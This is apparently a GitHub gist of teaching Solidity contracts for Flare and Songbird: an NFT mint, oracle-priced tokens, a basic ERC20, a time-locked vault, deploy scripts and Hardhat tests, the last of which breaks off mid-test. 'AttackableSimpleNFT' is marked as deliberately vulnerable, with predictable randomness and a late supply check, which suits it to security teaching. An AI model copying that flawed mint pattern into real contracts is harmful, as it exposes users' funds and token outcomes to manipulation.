Last active
December 26, 2022 22:42
-
-
Save jO-Osko/4568a0c4df03f63a9961d8ae528495a3 to your computer and use it in GitHub Desktop.
Simple solidity contracts
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.9; | |
// WARNING: This contract is vulnerable to at least one type of commonly known attacks. | |
// Do not use this code in production. | |
import { ERC721Enumerable, ERC721 } from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; | |
import { IFtso } from "@flarenetwork/flare-periphery-contracts/coston/contracts/userInterfaces/IFtso.sol"; | |
import { IPriceSubmitter } from "@flarenetwork/flare-periphery-contracts/coston/contracts/userInterfaces/IPriceSubmitter.sol"; | |
import { IFtsoRegistry } from "@flarenetwork/flare-periphery-contracts/coston/contracts/userInterfaces/IFtsoRegistry.sol"; | |
contract AttackableSimpleNFT is ERC721Enumerable { | |
string[14] uidLinks = [ | |
"ipfs://ipfs/bafkreieybi64qgt2nd24ht7e5bkgcfmallurlyqrtufftbzlh65sei4zrq", | |
"ipfs://ipfs/bafkreigxf6kwo7qq2nds4b4vzqhyy7yj37hkdfkwhs24xy6rayvbf5yfgy", | |
"ipfs://ipfs/bafkreichupmk6f4uxwvy4izkswlyu3viwlyqaabjwreyd6j3f66tyw33ge", | |
"ipfs://ipfs/bafkreidruphdcmqb2s5ibympfmuilpuzd64xj3xlu7sruffy2w7hw3oo4u", | |
"ipfs://ipfs/bafkreiadsbrd4knarjarfmcswxye762h5gcfigdk4xqq4wud2rwhnxttsm", | |
"ipfs://ipfs/bafkreiat7y3wez6e6autxn73mvjluoxc5gjwzrcjmlrv3outxnm4wdar7m", | |
"ipfs://ipfs/bafkreieg6xotxyxetew65fg47iy4peu2vsjjr67raxlz5nkm65ebvolrx4", | |
"ipfs://ipfs/bafkreia3j4oparmlz37kzq5msoix55nz25ucsfgsv5euhuss72vrcmin34", | |
"ipfs://ipfs/bafkreiawnajxljlztnxyu23hodvysac37seio7scvfwjyb6gqrdomc5gxe", | |
"ipfs://ipfs/bafkreigvq7766epo3bhpg67oxfuxlofzjt2a6ht2aj2suwdviwezs4l4mq", | |
"ipfs://ipfs/bafkreigniof2fm2ooeiwomvhachcu2kj74rgz43j4665fcff6tkovmqvs4", | |
"ipfs://ipfs/bafkreiaqdet3dm2rwpgj4xgi7l2ypefqukanwkeqykajojinuhhbqptpqi", | |
"ipfs://ipfs/bafkreidejgskxyv6orhpitmq6oxg4meizm6iqeypvx7yymtdbuel7s3itq", | |
"ipfs://ipfs/bafkreieitl5zfhrwvtnu42gcd5mozuqjcbrrv7vwr2ur7nnxcztmemm4yq" | |
]; | |
uint256 immutable tokenPrice; | |
address immutable owner; | |
uint256 public mintedTokens = 0; | |
uint256 immutable public maxTokens; | |
uint256 public currentToken = 0; | |
mapping (uint256 => uint256) private tokenUidLinkIndex; | |
constructor(string memory name_, string memory symbol_, uint256 tokenPrice_, uint256 maxTokens_) | |
ERC721(name_, symbol_) | |
{ | |
tokenPrice = tokenPrice_; | |
owner = msg.sender; | |
maxTokens = maxTokens_; | |
} | |
// WARNING: Problematic implementation | |
function mint() public payable { | |
require(msg.value >= tokenPrice, "Not enough coins paid"); | |
uint256 tokenId = currentToken + 1; | |
++currentToken; | |
tokenUidLinkIndex[tokenId] = uint256(keccak256(abi.encode(getCurrentRandom(), tokenId))) % uidLinks.length; | |
// Check if we can still mint | |
require(maxTokens > mintedTokens, "No tokens left"); | |
_safeMint(msg.sender, tokenId); | |
// Increse the number of minted tokens | |
++mintedTokens; | |
} | |
function tokenURI(uint256 tokenId) public view override returns (string memory) { | |
_requireMinted(tokenId); | |
return uidLinks[tokenUidLinkIndex[tokenId]]; | |
} | |
function withdraw() external { | |
require(msg.sender == owner, "Only owner can withdraw"); | |
payable(owner).transfer(address(this).balance); | |
} | |
function getPriceSubmitter() public virtual view returns(IPriceSubmitter) { | |
return IPriceSubmitter(0x1000000000000000000000000000000000000003); | |
} | |
function getCurrentRandom() virtual public view returns(uint256 currentRandom) { | |
IFtsoRegistry ftsoRegistry = IFtsoRegistry(address(getPriceSubmitter().getFtsoRegistry())); | |
IFtso ftso = IFtso(ftsoRegistry.getFtso(0)); | |
return ftso.getCurrentRandom(); | |
} | |
} | |
contract TestableAttackableSimpleNFT is AttackableSimpleNFT { | |
address public priceSubmitterAddress; | |
constructor(string memory name_, string memory symbol_, uint256 tokenPrice_, uint256 maxTokens_) | |
AttackableSimpleNFT(name_, symbol_, tokenPrice_, maxTokens_) | |
{ | |
} | |
function setPriceSubmitter(address _priceSubmitterAddress) external { | |
priceSubmitterAddress = _priceSubmitterAddress; | |
} | |
function getPriceSubmitter() public override view returns(IPriceSubmitter) { | |
return IPriceSubmitter(priceSubmitterAddress); | |
} | |
function getCurrentRandom() public view override returns(uint256 currentRandom) { | |
return 10; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { artifacts, ethers } from 'hardhat' | |
import { SimpleNFTContract } from '../typechain-types' | |
const SimpleNFT: SimpleNFTContract = artifacts.require('SimpleNFT') | |
async function main(){ | |
const [deployer] = await ethers.getSigners(); | |
console.log("Deploying contracts with the account:", deployer.address); | |
console.log("Account balance:", (await deployer.getBalance()).toString()); | |
const token = await SimpleNFT.new("XKCD Token", "FXKCD", "1000000000000000000", {from: deployer.address}); | |
console.log("Token address:", token.address); | |
await token.mint({from: deployer.address, value: "1000000000000000000"}); | |
await token.mint({from: deployer.address, value: "1000000000000000000"}); | |
await token.mint({from: deployer.address, value: "1000000000000000000"}); | |
await token.mint({from: deployer.address, value: "1000000000000000000"}); | |
} | |
main().then(() => process.exit(0)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract PartOfDynamicToken { | |
function getTokenPriceWei() public view returns(uint256 natWeiPerToken) { | |
IFtsoRegistry ftsoRegistry = IFtsoRegistry(address(getPriceSubmitter().getFtsoRegistry())); | |
(uint256 foreignTokenToUsd,,uint256 foreignTokenFTSODecimals) = ftsoRegistry.getCurrentPriceWithDecimals(foreignTokenSymbol); | |
(uint256 nativeToUsd,,uint256 nativeTokenFTSODecimals) = ftsoRegistry.getCurrentPriceWithDecimals(nativeTokenSymbol); | |
natWeiPerToken = (10 ** 18) * foreignTokenToUsd * (10**nativeTokenFTSODecimals) / (nativeToUsd * tokensPerForeignToken * (10 ** decimals) * (10**foreignTokenFTSODecimals)); | |
} | |
function _mint() private returns(uint256 tokenAmount){ | |
uint256 price = getTokenPriceWei(); | |
tokenAmount = msg.value / price; | |
uint256 remainder = msg.value - tokenAmount * price; | |
if(totalSupply + tokenAmount > maxSupply){ | |
revert SupplyCeiling(); | |
} | |
_balances[msg.sender] += tokenAmount; | |
totalSupply += tokenAmount; | |
payable(msg.sender).transfer(remainder); | |
emit Transfer(address(0), msg.sender, tokenAmount); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module.exports = [ | |
100_000_00, | |
"Dynamic Flare token", | |
"DTOK", | |
2, // 2 Decimals | |
"C2FLR", | |
"testXRP", | |
12 // 12 token per each | |
] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.6; | |
import { IERC20Metadata } from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; | |
import { IFtso } from "@flarenetwork/flare-periphery-contracts/flare/ftso/userInterfaces/IFtso.sol"; | |
import { IPriceSubmitter } from "@flarenetwork/flare-periphery-contracts/flare/ftso/userInterfaces/IPriceSubmitter.sol"; | |
import { IFtsoRegistry } from "@flarenetwork/flare-periphery-contracts/flare/ftso/userInterfaces/IFtsoRegistry.sol"; | |
error InsufficientBalance(uint256 available, uint256 required); | |
error OnylOwner(); | |
error SupplyCeiling(); | |
contract DynamicTokenFlare is IERC20Metadata { | |
string public override name; | |
string public override symbol; | |
uint8 public override decimals; | |
mapping (address => uint256) private _balances; | |
mapping (address => mapping (address => uint256)) private _allowances; | |
address public immutable owner; | |
string public nativeTokenSymbol; | |
string public foreignTokenSymbol; | |
uint256 public tokensPerForeignToken; | |
uint256 public immutable maxSupply; | |
uint256 public override totalSupply; | |
modifier onlyOwner(){ | |
if(msg.sender != owner){ | |
revert OnylOwner(); | |
} | |
_; | |
} | |
constructor ( | |
uint256 _maxSupply, | |
string memory _name, | |
string memory _symbol, | |
uint8 _decimals, | |
string memory _nativeTokenSymbol, | |
string memory _foreignTokenSymbol, | |
uint256 _tokensPerForeignToken) | |
{ | |
name = _name; | |
symbol = _symbol; | |
decimals = _decimals; | |
maxSupply = _maxSupply; | |
owner = msg.sender; | |
nativeTokenSymbol = _nativeTokenSymbol; | |
foreignTokenSymbol = _foreignTokenSymbol; | |
tokensPerForeignToken = _tokensPerForeignToken; | |
} | |
function getPriceSubmitter() public virtual view returns(IPriceSubmitter) { | |
return IPriceSubmitter(0x1000000000000000000000000000000000000003); | |
} | |
function balanceOf(address account) | |
external | |
view | |
override | |
returns (uint256) | |
{ | |
return _balances[account]; | |
} | |
function transfer(address to, uint256 amount) | |
external | |
override | |
returns (bool) | |
{ | |
if (amount > _balances[msg.sender]) { | |
revert InsufficientBalance(_balances[msg.sender], amount); | |
} | |
_balances[msg.sender] -= amount; | |
_balances[to] += amount; | |
emit Transfer(msg.sender, to, amount); | |
return true; | |
} | |
function allowance(address _owner, address spender) | |
external | |
view | |
override | |
returns (uint256) | |
{ | |
return _allowances[_owner][spender]; | |
} | |
function approve(address spender, uint256 amount) | |
external | |
override | |
returns (bool) | |
{ | |
_allowances[msg.sender][spender] = amount; | |
emit Approval(msg.sender, spender, amount); | |
return true; | |
} | |
function transferFrom( | |
address from, | |
address to, | |
uint256 amount | |
) external override returns (bool) { | |
if (amount > _balances[from]) { | |
revert InsufficientBalance(_balances[from], amount); | |
} | |
if (amount > _allowances[from][msg.sender]) { | |
revert InsufficientBalance(_allowances[from][msg.sender], amount); | |
} | |
_balances[from] -= amount; | |
_balances[to] += amount; | |
_allowances[from][msg.sender] -= amount; | |
emit Transfer(from, to, amount); | |
return true; | |
} | |
function getTokenPriceWei() public view returns(uint256 natWeiPerToken) { | |
IFtsoRegistry ftsoRegistry = IFtsoRegistry(address(getPriceSubmitter().getFtsoRegistry())); | |
(uint256 foreignTokenToUsd,,uint256 foreignTokenFTSODecimals) = ftsoRegistry.getCurrentPriceWithDecimals(foreignTokenSymbol); | |
(uint256 nativeToUsd,,uint256 nativeTokenFTSODecimals) = ftsoRegistry.getCurrentPriceWithDecimals(nativeTokenSymbol); | |
natWeiPerToken = (10 ** 18) * foreignTokenToUsd * (10**nativeTokenFTSODecimals) / (nativeToUsd * tokensPerForeignToken * (10 ** decimals) * (10**foreignTokenFTSODecimals)); | |
} | |
function _mint() private returns(uint256 tokenAmount){ | |
uint256 price = getTokenPriceWei(); | |
tokenAmount = msg.value / price; | |
uint256 remainder = msg.value - tokenAmount * price; | |
if(totalSupply + tokenAmount > maxSupply){ | |
revert SupplyCeiling(); | |
} | |
_balances[msg.sender] += tokenAmount; | |
totalSupply += tokenAmount; | |
payable(msg.sender).transfer(remainder); | |
emit Transfer(address(0), msg.sender, tokenAmount); | |
} | |
function mint() external payable returns (uint256) { | |
return _mint(); | |
} | |
// Forward everything to deposit | |
receive() external payable { | |
_mint(); | |
} | |
fallback() external payable { | |
_mint(); | |
} | |
function withdrawFunds() onlyOwner external { | |
payable(owner).transfer(address(this).balance); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.6; | |
import { IERC20Metadata } from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; | |
import { IFtso } from "@flarenetwork/flare-periphery-contracts/songbird/ftso/userInterfaces/IFtso.sol"; | |
import { IPriceSubmitter } from "@flarenetwork/flare-periphery-contracts/songbird/ftso/userInterfaces/IPriceSubmitter.sol"; | |
import { IFtsoRegistry } from "@flarenetwork/flare-periphery-contracts/songbird/ftso/userInterfaces/IFtsoRegistry.sol"; | |
error InsufficientBalance(uint256 available, uint256 required); | |
error OnylOwner(); | |
error SupplyCeiling(); | |
contract DynamicTokenSongbird is IERC20Metadata { | |
string public override name; | |
string public override symbol; | |
uint8 public override decimals; | |
mapping (address => uint256) private _balances; | |
mapping (address => mapping (address => uint256)) private _allowances; | |
address public immutable owner; | |
string public nativeTokenSymbol; | |
string public foreignTokenSymbol; | |
uint256 public tokensPerForeignToken; | |
uint256 public immutable maxSupply; | |
uint256 public override totalSupply; | |
modifier onlyOwner(){ | |
if(msg.sender != owner){ | |
revert OnylOwner(); | |
} | |
_; | |
} | |
constructor ( | |
uint256 _maxSupply, | |
string memory _name, | |
string memory _symbol, | |
uint8 _decimals, | |
string memory _nativeTokenSymbol, | |
string memory _foreignTokenSymbol, | |
uint256 _tokensPerForeignToken) | |
{ | |
name = _name; | |
symbol = _symbol; | |
decimals = _decimals; | |
maxSupply = _maxSupply; | |
owner = msg.sender; | |
nativeTokenSymbol = _nativeTokenSymbol; | |
foreignTokenSymbol = _foreignTokenSymbol; | |
tokensPerForeignToken = _tokensPerForeignToken; | |
} | |
function getPriceSubmitter() public virtual view returns(IPriceSubmitter) { | |
return IPriceSubmitter(0x1000000000000000000000000000000000000003); | |
} | |
function balanceOf(address account) | |
external | |
view | |
override | |
returns (uint256) | |
{ | |
return _balances[account]; | |
} | |
function transfer(address to, uint256 amount) | |
external | |
override | |
returns (bool) | |
{ | |
if (amount > _balances[msg.sender]) { | |
revert InsufficientBalance(_balances[msg.sender], amount); | |
} | |
_balances[msg.sender] -= amount; | |
_balances[to] += amount; | |
emit Transfer(msg.sender, to, amount); | |
return true; | |
} | |
function allowance(address _owner, address spender) | |
external | |
view | |
override | |
returns (uint256) | |
{ | |
return _allowances[_owner][spender]; | |
} | |
function approve(address spender, uint256 amount) | |
external | |
override | |
returns (bool) | |
{ | |
_allowances[msg.sender][spender] = amount; | |
emit Approval(msg.sender, spender, amount); | |
return true; | |
} | |
function transferFrom( | |
address from, | |
address to, | |
uint256 amount | |
) external override returns (bool) { | |
if (amount > _balances[from]) { | |
revert InsufficientBalance(_balances[from], amount); | |
} | |
if (amount > _allowances[from][msg.sender]) { | |
revert InsufficientBalance(_allowances[from][msg.sender], amount); | |
} | |
_balances[from] -= amount; | |
_balances[to] += amount; | |
_allowances[from][msg.sender] -= amount; | |
emit Transfer(from, to, amount); | |
return true; | |
} | |
function getTokenPriceWei() public view returns(uint256 natWeiPerToken) { | |
IFtsoRegistry ftsoRegistry = IFtsoRegistry(address(getPriceSubmitter().getFtsoRegistry())); | |
(uint256 foreignTokenToUsd, ) = ftsoRegistry.getCurrentPrice(foreignTokenSymbol); | |
uint256 foreignTokenFTSODecimals = 5; | |
(uint256 nativeToUsd, ) = ftsoRegistry.getCurrentPrice(nativeTokenSymbol); | |
uint256 nativeTokenFTSODecimals = 5; | |
natWeiPerToken = (10 ** 18) * foreignTokenToUsd * (10**nativeTokenFTSODecimals) / (nativeToUsd * tokensPerForeignToken * (10 ** decimals) * (10**foreignTokenFTSODecimals)); | |
} | |
function _mint() private returns(uint256 tokenAmount){ | |
uint256 price = getTokenPriceWei(); | |
tokenAmount = msg.value / price; | |
uint256 remainder = msg.value - tokenAmount * price; | |
if(totalSupply + tokenAmount > maxSupply){ | |
revert SupplyCeiling(); | |
} | |
_balances[msg.sender] += tokenAmount; | |
totalSupply += tokenAmount; | |
payable(msg.sender).transfer(remainder); | |
emit Transfer(address(0), msg.sender, tokenAmount); | |
} | |
function mint() external payable returns (uint256) { | |
return _mint(); | |
} | |
// Forward everything to deposit | |
receive() external payable { | |
_mint(); | |
} | |
fallback() external payable { | |
_mint(); | |
} | |
function withdrawFunds() onlyOwner external { | |
payable(owner).transfer(address(this).balance); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { ethers } from 'hardhat'; | |
import { BN } from "bn.js"; | |
import { expect } from 'chai'; | |
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; | |
import { TestableDynamicTokenFlareContract, | |
DynamicTokenFlareInstance, | |
GatewayPriceSubmitterInstance, GatewayPriceSubmitterContract, | |
MockFtsoRegistryInstance, MockFtsoRegistryContract | |
} from '../typechain-types/' | |
const TestableDynamicToken: TestableDynamicTokenFlareContract = artifacts.require("TestableDynamicTokenFlare"); | |
const GatewayPriceSubmitter: GatewayPriceSubmitterContract = artifacts.require("@flarenetwork/flare-periphery-contracts/flare/mockContracts/MockPriceSubmitter.sol:GatewayPriceSubmitter"); | |
const MockFtsoRegistry: MockFtsoRegistryContract = artifacts.require("@flarenetwork/flare-periphery-contracts/flare/mockContracts/MockFtsoRegistry.sol:MockFtsoRegistry"); | |
function bn(n: any){ | |
return new BN(n.toString()); | |
} | |
describe('Dynamic token', async () => { | |
let owner: SignerWithAddress | |
let dynamicToken: DynamicTokenFlareInstance | |
let priceSubmitter: GatewayPriceSubmitterInstance | |
let ftsoRegistry: MockFtsoRegistryInstance | |
beforeEach(async () => { | |
[owner] = await ethers.getSigners(); | |
const testableToken = await TestableDynamicToken.new( | |
10000000, | |
"Dynamic Flare token", | |
"DTOK", | |
2, // 2 Decimals | |
"FLR", | |
"BTC", | |
12 // 12 token per each | |
); | |
dynamicToken = testableToken; | |
priceSubmitter = await GatewayPriceSubmitter.new(); | |
ftsoRegistry = await MockFtsoRegistry.new(); | |
await priceSubmitter.setFtsoRegistry(ftsoRegistry.address); | |
await testableToken.setPriceSubmitter(priceSubmitter.address); | |
}) | |
describe("Minting", async () => { | |
beforeEach(async () => { | |
await ftsoRegistry.setSupportedIndices([0, 1, 2], ["BTC", "FLR", "FLR"]); | |
}) | |
it("Should mint an amount of tokens", async () => { | |
await ftsoRegistry.setPriceForSymbol("BTC", 2, 0, 5); | |
await ftsoRegistry.setPriceForSymbol("FLR", 1, 0, 5); | |
const before = await dynamicToken.balanceOf(owner.address); | |
const result = await dynamicToken.mint( | |
{from: owner.address, value: bn("1065000000000000").add(bn(5).mul(bn(10).pow(bn(18))))} | |
) | |
const after = await dynamicToken.balanceOf(owner.address); | |
expect( | |
after | |
).to.equal(bn(3000), "Invalid amount of token transferred"); | |
}) | |
}) | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { ethers } from 'hardhat'; | |
import { BN } from "bn.js"; | |
import { expect } from 'chai'; | |
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; | |
import { TestableDynamicTokenSongbirdContract, | |
DynamicTokenSongbirdInstance, | |
GatewayPriceSubmitterInstance, GatewayPriceSubmitterContract, | |
MockFtsoRegistryInstance, MockFtsoRegistryContract | |
} from '../typechain-types/' | |
const TestableDynamicToken: TestableDynamicTokenSongbirdContract = artifacts.require("TestableDynamicTokenSongbird"); | |
const GatewayPriceSubmitter: GatewayPriceSubmitterContract = artifacts.require("@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockPriceSubmitter.sol:GatewayPriceSubmitter"); | |
const MockFtsoRegistry: MockFtsoRegistryContract = artifacts.require("@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockFtsoRegistry.sol:MockFtsoRegistry"); | |
function bn(n: any){ | |
return new BN(n.toString()); | |
} | |
describe('Dynamic token', async () => { | |
let owner: SignerWithAddress | |
let dynamicToken: DynamicTokenSongbirdInstance | |
let priceSubmitter: GatewayPriceSubmitterInstance | |
let ftsoRegistry: MockFtsoRegistryInstance | |
beforeEach(async () => { | |
[owner] = await ethers.getSigners(); | |
const testableToken = await TestableDynamicToken.new( | |
10000000, | |
"Dynamic Songbird token", | |
"DTOK", | |
2, // 2 Decimals | |
"SGB", | |
"BTC", | |
12 // 12 token per each | |
); | |
dynamicToken = testableToken; | |
priceSubmitter = await GatewayPriceSubmitter.new(); | |
ftsoRegistry = await MockFtsoRegistry.new(); | |
await priceSubmitter.setFtsoRegistry(ftsoRegistry.address); | |
await testableToken.setPriceSubmitter(priceSubmitter.address); | |
}) | |
describe("Minting", async () => { | |
beforeEach(async () => { | |
await ftsoRegistry.setSupportedIndices([0, 1, 2], ["BTC", "SGB", "FLR"]); | |
}) | |
it("Should mint an amount of tokens", async () => { | |
await ftsoRegistry.setPriceForSymbol("BTC", 2, 0); | |
await ftsoRegistry.setPriceForSymbol("SGB", 1, 0); | |
const before = await dynamicToken.balanceOf(owner.address); | |
const result = await dynamicToken.mint( | |
{from: owner.address, value: bn("1065000000000000").add(bn(5).mul(bn(10).pow(bn(18))))} | |
) | |
const after = await dynamicToken.balanceOf(owner.address); | |
expect( | |
after | |
).to.equal(bn(3000), "Invalid amount of token transferred"); | |
}) | |
}) | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.9; | |
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
contract Token is IERC20 { | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.9; | |
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
error InsufficientBalance(uint256 available, uint256 required); | |
contract Token is IERC20 { | |
mapping (address => uint256) private _balances; | |
mapping (address => mapping (address => uint256)) private _allowances; | |
uint256 public immutable override totalSupply; | |
constructor (uint256 initialSupply) { | |
_balances[msg.sender] = initialSupply; | |
totalSupply = initialSupply; | |
emit Transfer(address(0), msg.sender, initialSupply); | |
} | |
function balanceOf(address account) | |
external | |
view | |
override | |
returns (uint256) | |
{ | |
return _balances[account]; | |
} | |
function transfer(address to, uint256 amount) | |
external | |
override | |
returns (bool) | |
{ | |
// Older versions of solidity would need to use string as the error message | |
// require(_balances[msg.sender] >= amount, "Not enough tokens"); | |
if (amount > _balances[msg.sender]){ | |
revert InsufficientBalance(_balances[msg.sender], amount); | |
} | |
_balances[msg.sender] -= amount; | |
_balances[to] += amount; | |
emit Transfer(msg.sender, to, amount); | |
return true; | |
} | |
function allowance(address owner, address spender) | |
external | |
view | |
override | |
returns (uint256) | |
{ | |
return _allowances[owner][spender]; | |
} | |
function approve(address spender, uint256 amount) | |
external | |
override | |
returns (bool) | |
{ | |
_allowances[msg.sender][spender] = amount; | |
emit Approval(msg.sender, spender, amount); | |
return true; | |
} | |
function transferFrom( | |
address from, | |
address to, | |
uint256 amount | |
) external override returns (bool) { | |
if (amount > _balances[from]){ | |
revert InsufficientBalance(_balances[from], amount); | |
} | |
if (amount > _allowances[from][msg.sender]){ | |
revert InsufficientBalance(_allowances[from][msg.sender], amount); | |
} | |
_balances[from] -= amount; | |
_balances[to] += amount; | |
_allowances[from][msg.sender] -= amount; | |
emit Transfer(from, to, amount); | |
return true; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract BetterToken is Token, IERC20Metadata { | |
string public override name; | |
string public override symbol; | |
uint8 public override decimals; | |
constructor (uint256 initialSupply, string memory _name, string memory _symbol, uint8 _decimals) Token(initialSupply) { | |
name = _name; | |
symbol = _symbol; | |
decimals = _decimals; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.9; | |
struct DepositData { | |
uint256 depositAt; | |
uint256 amountWei; | |
} | |
error TimeLocked(uint256 timeLeft); | |
error InvalidRecipient(); | |
error NoDeposit(); | |
contract ImprovedVault { | |
event Deposit(address indexed sender, uint256 amountWei); | |
event Withdraw(address indexed sender, address indexed target, uint256 amountWei); | |
event AllowRecipient(address indexed source, address indexed recipient, bool allowed); | |
mapping (address => mapping(address => uint256)) public allowedRecipients; | |
mapping (address => uint256[]) public withdrawals; | |
mapping (address => DepositData) private _deposits; | |
address public owner; | |
uint256 public lockTime; | |
constructor(uint256 _lockTime){ | |
owner = msg.sender; | |
lockTime = _lockTime; | |
} | |
function allowRecipient(address recipient) external { | |
allowedRecipients[msg.sender][recipient] = 1; | |
emit AllowRecipient(msg.sender, recipient, true); | |
} | |
function disallowRecipient(address recipient) external { | |
allowedRecipients[msg.sender][recipient] = 0; | |
emit AllowRecipient(msg.sender, recipient, false); | |
} | |
function withdraw(address[] memory targets) external { | |
DepositData memory userDeposit = _deposits[msg.sender]; | |
if (userDeposit.depositAt == 0) { | |
revert NoDeposit(); | |
} | |
if (block.timestamp < userDeposit.depositAt + lockTime) { | |
revert TimeLocked(userDeposit.depositAt + lockTime - block.timestamp); | |
} | |
for(uint256 i = 0; i < targets.length; i++){ | |
if(allowedRecipients[msg.sender][targets[i]] == 0){ | |
revert InvalidRecipient(); | |
} | |
} | |
delete _deposits[msg.sender]; | |
if(targets.length == 0){ | |
payable(msg.sender).transfer(userDeposit.amountWei); | |
emit Withdraw(msg.sender, msg.sender, userDeposit.amountWei); | |
} else { | |
uint256 perAddress = userDeposit.amountWei / targets.length; | |
uint256 remainder = userDeposit.amountWei % targets.length; | |
for(uint256 i = 0; i < targets.length; i++){ | |
payable(targets[i]).transfer(perAddress); | |
emit Withdraw(msg.sender, targets[i], perAddress); | |
} | |
if(remainder > 0){ | |
payable(msg.sender).transfer(remainder); | |
emit Withdraw(msg.sender, msg.sender, userDeposit.amountWei); | |
} | |
} | |
withdrawals[msg.sender].push(block.timestamp); | |
} | |
function deposit() public payable { | |
DepositData memory existingDeposit = _deposits[msg.sender]; | |
// If the user has already deposited, we need to add the new amount to the existing deposit | |
// Otherwise, we just create a new deposit | |
// Since everything is zero-initialized, we treat a deposit of 0 as a non-existing deposit | |
// If the users updates their deposit, the lock time is reset | |
_deposits[msg.sender] = DepositData( | |
block.timestamp, | |
existingDeposit.amountWei + msg.value | |
); | |
emit Deposit(msg.sender, msg.value); | |
} | |
// Forward everything to deposit | |
receive() external payable { | |
deposit(); | |
} | |
fallback() external payable { | |
deposit(); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { ethers } from 'hardhat'; | |
import { BN } from "bn.js"; | |
import { expect } from 'chai'; | |
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; | |
const { time, expectEvent } = require("@openzeppelin/test-helpers"); | |
import { ImprovedVaultInstance } from '../typechain-types/' | |
const ImprovedVault = artifacts.require('ImprovedVault') | |
function bn(n: any){ | |
return new BN(n.toString()); | |
} | |
const timeLock = 1000 | |
async function calcGasCost(result: Truffle.TransactionResponse<any>) { | |
let tr = await web3.eth.getTransaction(result.tx); | |
let txCost = bn(result.receipt.gasUsed).mul(bn(tr.gasPrice)); | |
return txCost; | |
}; | |
describe('ImprovedVault', async () => { | |
let improvedVault: ImprovedVaultInstance | |
let owner: SignerWithAddress | |
let secondAccount: SignerWithAddress | |
beforeEach(async () => { | |
[owner, secondAccount] = await ethers.getSigners(); | |
improvedVault = await ImprovedVault.new(timeLock); | |
}) | |
describe("Sending", async () => { | |
it("Should deposit and emit event", async () => { | |
const balanceBefore = bn(await web3.eth.getBalance(owner.address)); | |
const tx = await improvedVault.deposit({from: owner.address, value: 123}); | |
await expectEvent(tx, "Deposit", {sender: owner.address, amountWei: bn(123)}); | |
const balanceAfter = bn(await web3.eth.getBalance(owner.address)); | |
// Balance must change | |
expect(balanceBefore).to.greaterThan(balanceAfter); | |
expect(balanceBefore).to.equal( | |
balanceAfter.add(bn(123)).add(await calcGasCost(tx)) | |
); | |
}) | |
}) | |
describe("Withdraw", async () => { | |
it("Should deposit and withdraw after enough time to owner address", async () => { | |
const balanceBefore = bn(await web3.eth.getBalance(owner.address)); | |
const txDeposit = await improvedVault.deposit({from: owner.address, value: 123}); | |
const balanceAfter = bn(await web3.eth.getBalance(owner.address)); | |
// Balance must change | |
expect(balanceBefore).to.greaterThan(balanceAfter); | |
expect(balanceBefore).to.equal( | |
balanceAfter.add(bn(123)).add(await calcGasCost(txDeposit)) | |
); | |
await time.increase(timeLock + 2); | |
const txWithdraw = await improvedVault.withdraw([],{from: owner.address}); | |
const balanceAfterWithdraw = bn(await web3.eth.getBalance(owner.address)); | |
// Should have the same amount minus gas costs | |
expect(balanceBefore).to.equal( | |
(balanceAfterWithdraw).add(await calcGasCost(txDeposit)).add(await calcGasCost(txWithdraw)) | |
); | |
}) | |
it("Should deposit and withdraw after enough time to multiple addresses", async () => { | |
await improvedVault.deposit({from: owner.address, value: 123}); | |
await time.increase(timeLock + 2); | |
await improvedVault.allowRecipient(secondAccount.address,{from: owner.address}); | |
const balanceBefore = bn(await web3.eth.getBalance(secondAccount.address)); | |
